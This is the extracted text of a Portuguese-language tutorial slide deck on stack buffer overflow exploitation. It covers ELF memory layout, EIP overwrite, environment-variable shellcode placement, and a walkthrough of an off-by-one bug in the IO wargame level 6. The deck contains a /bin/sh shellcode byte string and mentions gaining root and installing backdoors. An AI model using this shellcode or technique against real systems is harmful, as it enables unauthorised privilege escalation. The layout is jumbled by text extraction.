3. BINÁRIOS ELF
• ELF == Executable and Linkable Format
• Diferentes segmentos, .text, .data, .bss e assim por diante
• Layout do binário na memória
4. OS SEGMENTOS Topo da Memória
0xFFFFFFFF
• .text (código) Stack
• .data
Nada (vazio)
• .bss
• Heap Heap
• Stack .bss
.data
.text (código) Base da Memória
0x00000000
5. A STACK
• Stack é utilizada para chamada de funções.
• Há 2 registradores na CPU associados à Stack, o EBP (Extended Base Pointer) e o
ESP (Extended Stack Pointer)
• ESP aponta para o topo da Stack, e o EBP aponta para o início do frame.
• Quando uma função é chamada, argumentos, EIP e EBP são inseridos na stack.
• EBP é “setado” para o ESP, e o ESP é diminuído para criar espaço para as variáveis
locais das funções.
8. EXPLOITING: O OBJETIVO
• Nosso objetivo é, de alguma forma, redirecionar o fluxo do programa e conseguir com
que o mesmo execute o que quisermos.
9. EXPLOITING: O OBJETIVO
• Nosso objetivo é, de alguma forma, redirecionar o fluxo do programa e conseguir com
que o mesmo execute o que quisermos.
10. MÉTODO 01: SMASHING THE STACK
Juntando tudo
stack Usando entradas ou dados
EIP salvo que fornecemos, podemos
0x41414141
controlar o valor que será
EBP salvo 0x41414141 escrito sobre o endereço
func_1() de retorno, ou valor do EIP
[ 0x41414141
0x41414141
[ salvo.
0x41414141
• Combinamos o que sabemos sobre
stack e buffer overflows
Memória livre
• Podemos utilizar isso para
redirecionar o fluxo de execução
13. SHOW ME THE MONEY!
stack
EIP salvo 0x41414141 Nós controlamos isso!
EBP salvo 0x41414141
func_1()
[0x41414141 [ Mas agora que controlamos o endereço de
0x41414141 retorno, o que fazemos com isso?
0x41414141
Para onde queremos que o fluxo do programa
vá?
Memória livre
14. SHELLCODE
Exemplo de Shellcode:
• Este é um código que gera uma shell.
“x31xc0xb0x46x31xdbx31xc
• Pode ter diversas variantes.
9xcdx80xebx16x5bx31xc0x8
• Alguns fazem bind em portas, outros 8x43x07x89x5bx08x89x43x
conectam em servidores específicos, 0cxb0x0bx8dx4bx08x8dx53x
alguns geram um shell local, alguns são 0cxcdx80xe8xe5xffxffxffx2fx
62x69x6ex2fx73x68”
bem pequenos, e outros são quebrados em
pedaços.
Gera um processo “/bin/sh”.
• Todos criados para suprir as necessidades
do criador para qualquer propósito que
possa querer, ou para evitar certas
restrições que limitam sua execução.
15. SHELLCODE
• Agora que sabemos que precisamos usar um shellcode, onde o colocamos?
• Há diversas opções, todas dependem de diversos fatores.
• Variáveis de ambiente
• Dentro do próprio buffer overflow
• Alguma outra parte da memória onde possamos escrever
• etc
16. EXEMPLO 01: EXPLOITED
Shellcode in Environment getenvaddr.c :
Variable: #include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int arc, char *argv[]){
char *ptr;
if(argc < 3){
printf(“Usage : %s <env var> <program name>n”,argv[0]);
exit(0);
}
ptr = getenv(argv[1]);
ptr += (strlen(argv[0]) - strlen(argv[2])) * 2;
printf(“%s will be at %pn”,argv[1],ptr);
return 0;
Getting address of }
Environment Variable:
18. EXEMPLO 01: NÓS TEMOS UMA SHELL
• Agora exploramos o programa
• Ganhamos acesso, e conseguimos pular de “tritured” para “root”
• A partir daqui, podemos fazer várias coisas, como instalar backdoors,
módulos do kernel, etc.
19. EXEMPLO 02: EXPLOITED
Pegue o endereço da variável de ambiente SHELLCODE:
Desta vez, não usaremos o NOP Sled, então precisamos ser bem precisos:
20. SMASH THE STACK IO NÍVEL 6: MUNDO REAL
level6.c :
#include <string.h> • Como podemos ver, o programador
// The devil is in the details - nnp
void copy_buffer(char *argv[])
implementou algumas estruturas de
{ verificação para previnir buffer overflows
char buf1[32], buf2[32], buf3[32];
strncpy(buf2, argv[1], 31); • Entretanto, ele introduziu um novo bug,
strncpy(buf3, argv[2], sizeof(buf3)); chamado de off-by-one error
strcpy(buf1, buf3);
}
int main(int argc, char *argv[])
• Ainda podemos sobrecarregar o buffer
{
copy_buffer(argv);
• E ainda podemos sobreescrever o EIP
return 0; para apontar para nosso shellcode
}
21. IO NÍVEL 6: CONTINUAÇÃO
Como as strings funcionam, e são delimitadas na memória:
0xbfbfeea0 0xbfbfeea1 0xbfbfede 0xbfbfedf
0x09 Este é qualquer texto aleatório para ajudar a entender como as strings funcionam 0x00
NULL Byte
Layout do copy_buffer da stack do Nível 6:
0xbfbfaa00 0xbfbfaa20 0xbfbfaa40
buf3[32] buf2[32] buf1[32]
Algum texto aqui 0x00 Mais algum texto aqui 0x00 E alguma string aqui 0x00
22. IO NÍVEL 6: CONTINUAÇÃO
• O problema está nestas 3 linhas:
strncpy(buf2, argv[1], 31);
strncpy(buf3, argv[2], sizeof(buf3));
strncpy(buf1, buf3);
• A primeira copia até 31 bytes, deixando um espaço para o NULL byte no
final.
• A segunda, entretanto, copia até 32 bytes, e portanto, pode não deixar
espaço para um NULL pointer no final, é daí que surge o off-by-one error.
• A terceira linha então copia o buf3 dentro do buf1, e é aqui onde podemos
sobrescrever o EIP salvo.